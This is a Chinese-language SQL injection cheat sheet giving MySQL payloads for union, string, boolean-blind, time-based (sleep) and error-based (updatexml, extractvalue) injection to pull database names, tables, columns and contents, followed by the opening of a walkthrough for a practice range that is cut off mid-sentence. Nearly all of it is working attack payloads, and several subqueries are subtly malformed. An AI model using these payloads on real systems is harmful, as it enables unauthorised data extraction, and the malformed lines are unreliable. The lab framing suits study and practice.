数字型注入:
查询数据库版本:
?id=-1 union select 1,2,(select version())
查询数据库:
?id=-1 union select 1,2,(schema_name from information_schema.schemata limit 0,1)
查询表名:
?id=-1 union select 1,2,(table_name from information_schema.tables where table_schema='库名' limit 0,1)
查询字段名:
?id=-1 union select 1,2,(column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)
查询字段内容:
?id=-1 union select 1,2,(字段名 from 表名 limit 0,1)
字符型注入:
?id=-1' union select 1,2,(select database()) #
?id=-1' union select 1,2,(select database()) --+
?id=-1' union select 1,2,(select database()) -- a(任意字符)
布尔盲注:
length()函数:返回字符串的长度
?id=1 and length(database())>1
?id=-1 or length(database())>1
substr()函数:截取字符串,从第2位开始截取1位
?id=1 and substr(database(),2,1)>'k'
left()函数:截取字符串,从左开始截取2位
?id=1 and left(database(),2)>'kk'
ascii()/ord()函数:返回字符的ascii码
?id=1 and ascii(substr(database(),1,1))>107
延时盲注:
如果if判断正确会马上执行,如果错误则会延时5秒后执行
?id=1 and if(length(database())>1,1,sleep(5))
报错注入:
?id=1 and select updatexml(1,concat(0x7e,(select database())),1)
?id=1 and select extractvalue(1,concat(0x7e,(select database())))
?id=-1 union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a
靶场:封神台靶场第一章地址:https://hack.zkaq.cn/battle判断注入点数字型注入:id=1 and 1=1正常,id=1 and 1=2错误字符型注入:id=1’错误,id=1’ %23或id=1’ --+正常判断后得出该页面可以进行数字型注入判断字段数联合查询需要字段数相等,所以要先判断当前表的字段数输入order by 1和order by 2时都正常,输入order by 3时异常,说明当前表的字段数为2判断回显点由于网页只能显示表中一行的内容,要